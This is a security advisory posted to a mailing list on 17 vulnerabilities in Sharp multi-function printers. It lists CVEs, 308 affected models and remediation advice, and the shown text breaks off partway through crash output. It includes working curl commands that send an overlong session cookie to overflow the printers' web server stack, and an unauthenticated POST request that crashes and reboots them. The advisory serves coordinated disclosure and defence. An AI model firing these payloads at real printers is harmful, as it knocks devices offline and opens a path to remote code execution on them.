<pre><code>Hello,<br /><br />Please find a text-only version below sent to security mailing lists.<br /><br />The complete version on "17 vulnerabilities in Sharp Multi-Function<br />Printers" is posted here:<br /> https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html<br /><br />The text version is also posted here:<br /> https://pierrekim.github.io/advisories/2024-sharp-mfp.txt<br /><br /><br />=== text-version of the advisory ===<br /><br />-----BEGIN PGP SIGNED MESSAGE-----<br />Hash: SHA512<br /><br />## Advisory Information<br /><br />Title: 17 vulnerabilities in Sharp Multi-Function Printers<br />Advisory URL: https://pierrekim.github.io/advisories/2024-sharp-mfp.txt<br />Blog URL: https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html<br />Date published: 2024-06-27<br />Vendors contacted: JPCERT<br />Release mode: Released<br />CVE: CVE-2024-28038, CVE-2024-36251, CVE-2024-28955, CVE-2024-29146,<br />CVE-2024-29978, CVE-2024-32151, CVE-2024-33605, CVE-2024-33610,<br />CVE-2024-33610, CVE-2024-35244, CVE-2024-33616, CVE-2024-34162,<br />CVE-2024-36248<br /><br /><br /><br />## Product description<br /><br />> Multifunction printers offer more than just print. These devices integrate the power of a printer, photocopier and scanner into one single device.<br />><br />> From https://www.sharp.co.uk/printers-photocopiers/explore-sharp-printers/sharp-multifunction-printers<br /><br /><br /><br />## Vulnerability Summary<br /><br />Vulnerable versions: 308 different models of Sharp Multi-Function<br />Printers (MFP) are vulnerable. It is recommended to visit the official<br />Sharp advisory (https://global.sharp/products/copier/info/info_security_2024-05.html)<br />and apply security patches and replace unsupported Multi-Function<br />Printers (MFP) models.<br /><br />The summary of the vulnerabilities is as follows:<br /><br />1. CVE-2024-28038 - Memory corruption in the main program - Remote<br />Code Execution against the web server without authentication<br />2. CVE-2024-36251 - Invalid (0x000000d0) pointer dereference - Remote<br />DoS without authentication<br />3. CVE-2024-28955, CVE-2024-29146, CVE-2024-29978, CVE-2024-32151 -<br />World-readable coredump files and insecure storage of credentials<br />4. CVE-2024-33605 - Arbitrary Directory Listing without authentication<br />5. non-assigned CVE vulnerability - Local File Inclusion allowing to<br />read any file (e.g. Coredump files) without authentication<br />5.1 Generation of the coredump file on the printer<br />5.2 Local File Inclusion of the coredump file<br />5.3 Retrieve of credentials using the coredump files<br />5.4 Retrieve of credentials using configuration files<br />6. CVE-2024-33610 - Backdoor webpage - Listing of session cookies<br />without authentication<br />7. non-assigned CVE vulnerability - Configuration webpages reachable<br />without authentication<br />8. CVE-2024-33610 - Reboot without authentication - Remote DoS<br />9. CVE-2024-35244 - Backdoor access - Service<br />10. non-assigned CVE vulnerability - Backdoor access - FSS User<br />11. non-assigned CVE vulnerability - Insecure default credentials<br />12. CVE-2024-33616 - Read admin access on telnet<br />13. non-assigned CVE vulnerability - XSS on all the Sharp printers (login.html)<br />14. non-assigned CVE vulnerability - XSS on all the Sharp printers<br />(all other HTML pages)<br />15. CVE-2024-34162 - Exfiltration of LDAP credentials by downgrading<br />the security<br />16. CVE-2024-36248 - Hardcoded Google API Keys<br />17. non-assigned CVE vulnerability - Hardcoded Amazon API Keys<br />18. N-day CVE-2022-45796 - Remote Code Execution<br /><br />TL;DR: An attacker can compromise Sharp Multi-Function Printers using<br />multiple vulnerabilities.<br /><br />List of vulnerable models of Sharp Multi-Function Printers (308 models):<br /><br /> BP-30C25, BP-30C25T, BP-30C25Y, BP-30C25Z, BP-30M35, BP-30M31,<br />BP-30M28, BP-30M35T, BP-30M31T, BP-30M28T,<br /> BP-50C36, BP-50C31, BP-50C26, BP-50C65, BP-50C55, BP-50C45,<br />BP-50M36, BP-50M31, BP-50M26, BP-50M55,<br /> BP-50M50, BP-50M45, BP-55C26, BP-60C45, BP-60C36, BP-60C31,<br />BP-70C36, BP-70C31, BP-70C65, BP-70C55,<br /> BP-70C45, BP-70M36, BP-70M31, BP-70M65, BP-70M55, BP-70M45,<br />BP-90C70, BP-90C80, BP-B547WD, BP-B537WR,<br /> BP-B550WD, BP-B540WR, BP-70M90, BP-70M75, MX-M1205, MX-M1055,<br />DX-2500N, DX-2000U, MX-2010U, MX-1810U,<br /> MX-2314N, MX-2314NR, MX-2630N, MX-3050N A, MX-3050V A, MX-3100N,<br />MX-3100G, MX-2600N, MX-2600G, MX-3101N,<br /> MX-2601N, MX-2301N, MX-3111U, MX-2310U, MX-2310R, MX-3115N,<br />MX-2615N, MX-2615 A, MX-3116N, MX-2616N,<br /> MX-3551, MX-3051, MX-2651, MX-3570N, MX-3070N, MX-3570V, MX-3070V,<br />MX-3571, MX-3071, MX-3571S,<br /> MX-3071S, MX-3610N, MX-3110N, MX-2610N, MX-3110N A, MX-3610NR,<br />MX-3640N, MX-3140N, MX-2640N, MX-3140N A,<br /> MX-3640NR, MX-3140NR, MX-2640NR, MX-4050N, MX-3550N, MX-3050N,<br />MX-4050V, MX-3550V, MX-3050V, MX-4060N,<br /> MX-3560N, MX-3060N, MX-4060V, MX-3560V, MX-3060V, MX-4061,<br />MX-3561, MX-3061, MX-4061S, MX-3561S,<br /> MX-3061S, MX-5001N, MX-5000N, MX-4101N, MX-4100N, MX-5112N,<br />MX-5111N, MX-5110N, MX-4112N, MX-4111N,<br /> MX-4110N, MX-5141N A, MX-4140N A, MX-5141N, MX-5140N, MX-4141N,<br />MX-4140N, MX-6050N, MX-5050N, MX-6050V,<br /> MX-5050V, MX-6051, MX-5051, MX-4051, MX-6070N A, MX-4070N A,<br />MX-3070N A, MX-6070N, MX-5070N, MX-4070N,<br /> MX-6070V A, MX-4070V A, MX-3070V A, MX-6070V, MX-5070V, MX-4070V,<br />MX-6071, MX-5071, MX-4071, MX-6071S,<br /> MX-5071S, MX-4071S, MX-7040N, MX-6240N, MX-7500N, MX-6500N,<br />MX-7580N, MX-6580N, MX-8081, MX-7081,<br /> MX-8090N, MX-7090N, MX-B400P, MX-B380P, MX-B401, MX-B381, MX-B402,<br />MX-B382, MX-B402P, MX-B382P,<br /> MX-B402SC, MX-B382SC, MX-B455W, MX-B355W, MX-B455WT, MX-B355WT,<br />MX-B455WZ, MX-B355WZ, MX-B456WH, MX-B356WH,<br /> MX-B456W, MX-B356W, MX-B476WH, MX-B376WH, MX-B476W, MX-B376W,<br />MX-C301W, MX-C301, MX-C304, MX-C303,<br /> MX-C304WH, MX-C303WH, MX-C304W, MX-C303W, MX-C312, MX-C311,<br />DX-C311, DX-C311J, MX-C310, DX-C310,<br /> MX-C381, DX-C381, MX-C380, MX-C381B, MX-C400P, MX-C380P, MX-C401,<br />DX-C401, DX-C401 J, MX-C400,<br /> DX-C400, MX-C402SC, MX-C382SC, MX-C382SCB, MX-M1204, MX-M1054,<br />MX-M904, MX-M1206, MX-M1056, MX-M2630,<br /> MX-M2630 A, MX-M266N, MX-M265N, MX-M265U, MX-M266NV, MX-M265NV,<br />MX-M265UV, MX-M3050 A, MX-M314NV, MX-M264NV,<br /> MX-M315NE, MX-M265NE, MX-M315NE, MX-M265NE, MX-M315V, MX-M265V,<br />MX-M354N, MX-M314N, MX-M264N, MX-M354NR,<br /> MX-M314NR, MX-M264NR, MX-M354U, MX-M314U, MX-M264U, MX-M3550,<br />MX-M3050, MX-M3551, MX-M3051, MX-M2651,<br /> MX-M356N, MX-M316N, MX-M315N, MX-M356U, MX-M315U, MX-M356NV,<br />MX-M316NV, MX-M315NV, MX-M356UV, MX-M315UV,<br /> MX-M3570, MX-M3070, MX-M3571, MX-M3071, MX-M3571S, MX-M3071S,<br />MX-M465N A, MX-M365N A, MX-M503N, MX-M453N,<br /> MX-M363N, MX-M283N, MX-M503U, MX-M453U, MX-M363U, MX-M564N,<br />MX-M464N, MX-M364N, MX-M564N A, MX-M565N,<br /> MX-M465N, MX-M365N, MX-M6050, MX-M5050, MX-M4050, MX-M6051,<br />MX-M5051, MX-M4051, MX-M6070 A, MX-M4070 A,<br /> MX-M3070 A, MX-M6070, MX-M5070, MX-M4070, MX-M6071, MX-M5071,<br />MX-M4071, MX-M6071S, MX-M5071S, MX-M4071S,<br /> MX-M753N, MX-M753U, MX-M623N, MX-M623U, MX-M754N, MX-M654N,<br />MX-M754N A, MX-M654N A, MX-M7570, MX-M6570,<br /> MX-M905.<br /><br />_Miscellaneous notes_:<br /><br />This security assessment was entirely done using a blackbox approach<br />and fully-remote - I only had some IPs of printers (no physical access<br />and no credentials for admin or normal users). Consequently, the<br />physical security of the printers was not analyzed and the<br />vulnerabilities were confirmed with about 15 different models running<br />the latest firmware versions (MX-3060N, MX-3061, MX-3070N, MX-3560N,<br />MX-3561, MX-5070V, MX-5071, MX-C3051R MX-C3081R, MX-M365N, MX-M453U,<br />MX-M465N, MX-M5050, MX-M5051, MX-M6051 and MX-M6071).<br /><br />The vulnerabilities were communicated to JPCERT on June 1, 2023 and<br />communications with JPCERT were very effective - they fully managed<br />interactions with Sharp.<br /><br />_Impacts_<br /><br />An attacker can compromise Sharp multi-function printers (MFP) and<br />execute code. These printers are running Linux and are powerful. They<br />are ideal to host implants (and fun programs, like Bettercap) and move<br />laterally inside infrastructures.<br /><br />_Recommendations_<br /><br />- - Use network segmentation to isolate MFPs.<br />- - Apply security patches.<br />- - Replace unsupported MFPs.<br /><br /><br /><br />## Details - Memory corruption in the main program - Remote Code<br />Execution against the web server without authentication<br /><br />By Default, Sharp printers are using a single super-program that will<br />run as root and provide network daemons (ftp, http, snmp,<br />raw-printer-9100, ...). This single program is vulnerable to a<br />stack-based buffer overflow without authentication.<br /><br />This `main` program runs as root and its HTTP stack is vulnerable,<br />without authentication, to a stack-based buffer overflow, allowing an<br />attacker to redirect the control flow of the program and achieve<br />remote code execution.<br /><br />`main` program listening on port 80/tcp:<br /><br /> sh-4.3# ps -auxww | grep main<br /> root 1186 6.3 5.3 2124656 172688 ? Sl 00:27 43:36<br />/tmp/app/ui/ui_mainview -hidecursor<br /> root 2081 3.9 10.9 2515532 348980 ? Sl 00:27 26:52<br />/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk<br /> root 13598 0.0 0.0 1980 368 pts/0 S+ 11:49 0:00 grep main<br /> sh-4.3# netstat -laputen | grep main<br /> tcp 0 0 0.0.0.0:50001 0.0.0.0:* LISTEN<br /> 0 10217 2081/main<br /> tcp6 0 0 :::443 :::* LISTEN<br /> 0 12538 2081/main<br /> tcp6 0 0 :::52000 :::* LISTEN<br /> 0 33214 2081/main<br /> tcp6 0 0 :::10080 :::* LISTEN<br /> 0 18542 2081/main<br /> tcp6 0 0 :::515 :::* LISTEN<br /> 0 10166 2081/main<br /> tcp6 0 0 :::53000 :::* LISTEN<br /> 0 12539 2081/main<br /> tcp6 0 0 :::10443 :::* LISTEN<br /> 0 18545 2081/main<br /> tcp6 0 0 :::5900 :::* LISTEN<br /> 0 33233 2081/main<br /> tcp6 0 0 :::9100 :::* LISTEN<br /> 0 12534 2081/main<br /> tcp6 0 0 :::80 :::* LISTEN<br /> 0 12537 2081/main<br /> tcp6 0 0 :::21 :::* LISTEN<br /> 0 10164 2081/main<br /> tcp6 0 0 :::631 :::* LISTEN<br /> 0 10168 2081/main<br /> udp 0 0 127.0.0.1:9473 0.0.0.0:*<br /> 0 13202 2081/main<br /> udp6 0 0 :::5353 :::*<br /> 0 12497 2081/main<br /> udp6 0 0 :::161 :::*<br /> 0 33229 2081/main<br /> udp6 0 0 :::546 :::*<br /> 0 33145 2081/main<br /> sh-4.3#<br /><br />By default, the printer will provide a MFPSESSIONID cookie when<br />reaching the printer with a browser as shown below. This cookie will<br />then be used for authentication purposes if the user decides to log<br />into the printer. For example, with a HTTP request to /main.html:<br /><br /> kali% curl -kv http://10.0.0.1/main.html | head<br /> % Total % Received % Xferd Average Speed Time Time<br />Time Current<br /> Dload Upload Total Spent<br />Left Speed<br /> 0 0 0 0 0 0 0 0 --:--:-- --:--:--<br />--:--:-- 0* Trying 10.0.0.1:80...<br /> * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br /> > GET /main.html HTTP/1.1<br /> > Host: 10.0.0.1<br /> > User-Agent: curl/7.88.1<br /> > Accept: */*<br /> ><br /> < HTTP/1.1 200 OK<br /> < Server: Rapid Logic/1.1<br /> < MIME-version: 1.0<br /> < Date: Thu Jan 1 02:32:35 1970 GMT<br /> < Content-Type: text/html; charset=UTF-8<br /> < Transfer-Encoding: chunked<br /> < Connection: close<br /> < Pragma: no-cache<br /> < Cache-Control: no-cache<br /> < X-Frame-Options: DENY<br /> < Set-Cookie:<br />MFPSESSIONID=020015D2C59E7B68C9FB5F411B0E59FCBEF70F7E03CEE4C4C5A12023051115051847BC555A<br /> < Extend-sharp-setting-status: 0<br /> <<br /> { [2 bytes data]<br /> <!DOCTYPE html><br /> <html lang="en"><br /> <head><br /> <meta charset="UTF-8" /><br /> <meta name="viewport" content="width=320,initial-scale=1.0" /><br /> <meta name="format-detection" content="telephone=no" /><br /> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=10; IE=11" /><br /> <title>Machine Identification - MX-M6071</title><br /> <link rel="stylesheet" href="other.css" type="text/css" /><br /> <link rel="stylesheet" href="color1.css" type="text/css" /><br /> * Failure writing output to destination<br /> * Failed reading the chunked-encoded stream<br /> 100 6950 0 6950 0 0 196k 0 --:--:-- --:--:--<br />--:--:-- 199k<br /> * Closing connection 0<br /> curl: (23) Failure writing output to destination<br /> kali%<br /><br />By sending a malicious HTTP request with a long MFPSESSIONID cookie,<br />it is possible to overwrite the stack of the main program.<br /><br />This payload will send a MFPSESSIONID cookie with a payload of 643<br />bytes. This payload will overwrite a stack buffer inside the main<br />program. The buffer is probably 639 bytes and `EDBB` will overwrite<br />the stack:<br /><br /> kali% var=`perl -e "print 'A'x639"`; curl -v -b<br />"MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html<br /> * Trying 10.0.0.1:80...<br /> * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br /> > GET /system.html HTTP/1.1<br /> > Host: 10.0.0.1<br /> > User-Agent: curl/7.88.1<br /> > Accept: */*<br /> > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br /> ><br /><br />If /system.html does not exist, it is possible to use /main.html or<br />any existing html webpage instead:<br /><br /> kali% var=`perl -e "print 'A'x639"`; curl -v -b<br />"MFPSESSIONID=${var}EDCB" http://10.0.0.1/main.html<br /> * Trying 10.0.0.1:80...<br /> * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br /> > GET /system.html HTTP/1.1<br /> > Host: 10.0.0.1<br /> > User-Agent: curl/7.88.1<br /> > Accept: */*<br /> > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br /> ><br /><br />If the first exploitation does not work, it is possible to resend it<br />again to overwrite the stack the second time:<br /><br /> kali% var=`perl -e "print 'A'x639"`; curl -v -b<br />"MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html<br /> * Trying 10.0.0.1:80...<br /> * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br /> > GET /system.html HTTP/1.1<br /> > Host: 10.0.0.1<br /> > User-Agent: curl/7.88.1<br /> > Accept: */*<br /> > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br /> kali% var=`perl -e "print 'A'x639"`; curl -v -b<br />"MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html<br /> * Trying 10.0.0.1:80...<br /> * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br /> > GET /system.html HTTP/1.1<br /> > Host: 10.0.0.1<br /> > User-Agent: curl/7.88.1<br /> > Accept: */*<br /> > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br /><br />The `dmesg` output on the printer will confirm that the main program<br />crashed while trying to reach the address 0x42434445, corresponding to<br />the previous `EDCB` sent inside the cookie. `EDCB` is represented in<br />the little-endian format as ARM is little-endian and 0x42434445 can be<br />found inside several registers (but not PC).<br /><br />output of `dmesg`:<br /><br /> [ 127.970220] main[15612]: unhandled level 2 translation fault<br />(11) at 0x42434445, esr 0x92000006<br /> [ 127.979463] pgd = ffff80007a07e000<br /> [ 127.982981] [42434445] *pgd=00000000fa099003,<br />*pud=00000008c6f9d003, *pmd=0000000000000000<br /><br /> [ 127.992811] CPU: 1 PID: 15612 Comm: main Tainted: P O<br /> 4.1.46-rt52 #2<br /> [ 128.000296] Hardware name: LS1043A MFP Board (DT)<br /> [ 128.005195] task: ffff8008372c69c0 ti: ffff80083dde0000<br />task.ti: ffff80083dde0000<br /> [ 128.012710] PC is at 0x20d4ff8<br /> [ 128.015761] LR is at 0x2a0<br /> [ 128.018465] pc : [<00000000020d4ff8>] lr : [<00000000000002a0>]<br />pstate: 900f0010<br /> [ 128.026024] sp : 000000008f12f7c0<br /> [ 128.029335] x12: 0000000042434445<br /> [ 128.032981] x11: 000000008fd45008 x10: 0000000000000001<br /> [ 128.038298] x9 : 0000000091247bf8 x8 : 000000008fd5648c<br /> [ 128.043678] x7 : 0000000000000000 x6 : 000000008fd56c58<br /> [ 128.048996] x5 : 000000008fd569bc x4 : 0000000008b90bdc<br /> [ 128.054388] x3 : 0000000042434445 x2 : 0000000042434445<br /> [ 128.059834] x1 : 000000008fd569b8 x0 : 0000000000000001<br /><br />On the printer, using GDB, we will confirm the main program crashed<br />and the stack has been successfully corrupted:<br /><br /> sh-4.3# ps -auxww|grep main<br /> root 1186 9.7 4.9 2123632 158080 ? Sl 11:31 0:21<br />/tmp/app/ui/ui_mainview -hidecursor<br /> root 2023 7.8 9.8 2505880 316360 ? Sl 11:31 0:15<br />/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk<br /> root 26544 0.0 0.0 1980 376 pts/0 S+ 11:34 0:00 grep main<br /> sh-4.3# gdb -p 2023<br /> GNU gdb (GDB) 7.10.1.20160210-cvs<br /> warning: File "/lib/libthread_db-1.0.so" auto-loading has been<br />declined by your `auto-load safe-path' set to<br />"$debugdir:$datadir/auto-load".<br /><br /> warning: Unable to find libthread_db matching inferior's thread<br />library, thread debugging will not be available.<br /> 0xf744f1c4 in pthread_join () from /lib/libpthread.so.0<br /> (gdb) c<br /><br /> ...<br /> [LWP 32749 exited]<br /> [New LWP 32750]<br /> [New LWP 32751]<br /> [LWP 32751 exited]<br /> [New LWP 32752]<br /> ...<br /> [New LWP 27196]<br /> [LWP 27196 exited]<br /> [New LWP 27197]<br /><br /> Program received signal SIGSEGV, Segmentation fault.<br /> [Switching to LWP 27195]<br /> 0x020d4ff8 in ?? ()<br /> (gdb) bt<br /> #0 0x020d4ff8 in ?? ()<br /> #1 0x000002a0 in ?? ()<br /> Backtrace stopped: previous frame identical to this frame (corrupt stack?)<br /> (gdb) info reg<br /> r0 0x1 1<br /> r1 0x903e0ec8 2419986120<br /> r2 0x42434445 1111704645<br /> r3 0x42434445 1111704645<br /> r4 0x8b90bdc 146344924<br /> r5 0x903e0ecc 2419986124<br /> r6 0x903e1168 2419986792<br /> r7 0x0 0<br /> r8 0x903e082c 2419984428<br /> r9 0x918ddcb8 2441993400<br /> r10 0x1 1<br /> r11 0x903db008 2419961864<br /> r12 0x42434445 1111704645<br /> sp 0x72231fc0 0x72231fc0<br /> lr 0x2a0 672<br /> pc 0x20d4ff8 0x20d4ff8<br /> cpsr 0x90050010 -1878720496<br /> (gdb) info frame<br /> Stack level 0, frame at 0x72231fc0:<br /> pc = 0x20d4ff8; saved pc = 0x2a0<br /> called by frame at 0x72231fc0<br /> Arglist at 0x72231fc0, args:<br /> Locals at 0x72231fc0, Previous frame's sp is 0x72231fc0<br /> (gdb)<br /><br />There is no ASLR in the `main` program; the addresses are always<br />identical therefore exploitation is very likely.<br /><br />Exploitation was not attempted since no enough time was allocated to<br />develop such exploit during this security assessment and I already had<br />a remote shell as root on the printers. Sharp confirmed that<br />exploitation is possible.<br /><br />An attacker with a RCE vulnerability can then move laterally and use<br />Wifi to exfiltrate information:<br /><br /> bash-4.3# iwlist ath0 scan<br /> ath0 Scan completed :<br /> Cell 01 - Address: 00:3C:10:01:02:03<br /> ESSID:"[REDACTED]"<br /> Mode:Master<br /> Frequency:2.412 GHz (Channel 1)<br /> Quality=93/94 Signal level=-54 dBm Noise level=-95 dBm<br /> Encryption key:off<br /> Bit Rates:12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s; 48 Mb/s<br /> 54 Mb/s<br /> Extra:bcn_int=100<br /><br /> bash-4.3#<br /><br /><br /><br />## Details - Invalid (0x000000d0) pointer dereference - Remote DoS<br />without authentication<br /><br />It was observed that the `/billcodedef_sub_sel.html` webpage is<br />reachable without authentication on Sharp printers. A specific request<br />to this webpage will trigger an invalid pointer deference in the main<br />program. The printer will then reboot after creating coredump files.<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />When submitting the request with the Sub Code `test` by pressing<br />`Search Start(Q)`, the HTTP request will be:<br /><br />HTTP request using the HTML form from `billcodedef_sub_sel.html`:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />It is possible to modify the HTTP request to change<br />`curr_page_url=%2Fbillcodedef_sub_sel.html` to<br />`curr_page_url=%2Fbillcodedef_sub_sel.html?`. A question mark was<br />added after `billcodedef_sub_sel.html`.<br /><br />The resulting request will be:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]<br /><br />The corresponding malicious HTTP request to trigger the DoS is:<br /><br /> POST /billcodedef_sub_sel.html? HTTP/1.1<br /> Host: 10.0.0.1<br /> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)<br />Gecko/20100101 Firefox/102.0<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Content-Type: application/x-www-form-urlencoded<br /> Content-Length: 406<br /> Origin: http://10.0.0.1<br /> Connection: close<br /> Referer: http://10.0.0.1/billcodedef_sub_sel.html?<br /> Cookie: MFPSESSIONID=020035B15A47378CF80C6175263F714EEF9118E72A1AA6C9CAC6202305181146331E5FF54;<br />sideBarflag=1<br /> Upgrade-Insecure-Requests: 1<br /><br /> billing_code_def_selWebchg=&action=searchbtn&ordinate=0&token2=AEC039F52DC886D169AC7F977F61D4C61295539BC0A3572B08E37FB291B9A766E238FB699426F67B&ggt_textbox%288%29=test&ggt_textbox%2811%29=&ggt_select%2829%29=1&billing_radio=2%2C&BillingCode%282%2C%29=Not+Set&BillingCodeName%28%29=&ggt_hidden%2839%29=0&ggt_hidden%2840%29=1&ggt_hidden%2844%29=&curr_page_url=%2Fbillcodedef_sub_sel.html?&selBillingCodeName=<br /><br />We can also reproduce the issue using curl:<br /><br /> kali% curl -i -s -k -X $'POST' -H $'Host: 10.0.0.1' --data-binary<br />'curr_page_url=%2Fbillcodedef_sub_sel.html?'<br />'http://10.0.0.1/billcodedef_sub_sel.html'<br /><br />On the printer, we can see a crash:<br /><br /> [ 9914.440518] main[18602]: unhandled level 3 translation fault<br />(11) at 0x000000d0, esr 0x92000007<br /> [ 9914.453538] pgd = ffff80082f408000<br /> [ 9914.456936] [000000d0] *pgd=00000000f9ea6003,<br />*pud=00000000f9f6e003, *pmd=00000000f9c0f003, *pte=0000000000000000<br /><br /> [ 9914.468751] CPU: 1 PID: 18602 Comm: main Tainted: P O<br /> 4.1.46-rt52 #2<br /> [ 9914.476433] Hardware name: LS1043A MFP Board (DT)<br /> [ 9914.481138] task: ffff80083de6c680 ti: ffff80082cb20000<br />task.ti: ffff80082cb20000<br /> [ 9914.488691] PC is at 0x228fe6c<br /> [ 9914.491744] LR is at 0x228f820<br /> [ 9914.494830] pc : [<000000000228fe6c>] lr : [<000000000228f820>]<br />pstate: 600f0010<br /> [ 9914.502227] sp : 000000007212fd70<br /> [ 9914.505539] x12: 00000000ffffffff<br /> [ 9914.508939] x11: 000000007212fdb0 x10: 0000000000000001<br /> [ 9914.514367] x9 : 0000000091170990 x8 : 0000000000000002<br /> [ 9914.519683] x7 : 000000007212fd88 x6 : 0000000091172799<br /> [ 9914.525102] x5 : 0000000000000000 x4 : 0000000000000000<br /> [ 9914.530417] x3 : 0000000000000000 x2 : 000000007212fdd0<br /> [ 9914.535764] x1 : 0000000000000061 x0 : 0000000000000000<br /><br /> [ 9914.543566] [BSPIF]bspif_pof_wait:signal receive(-512)<br 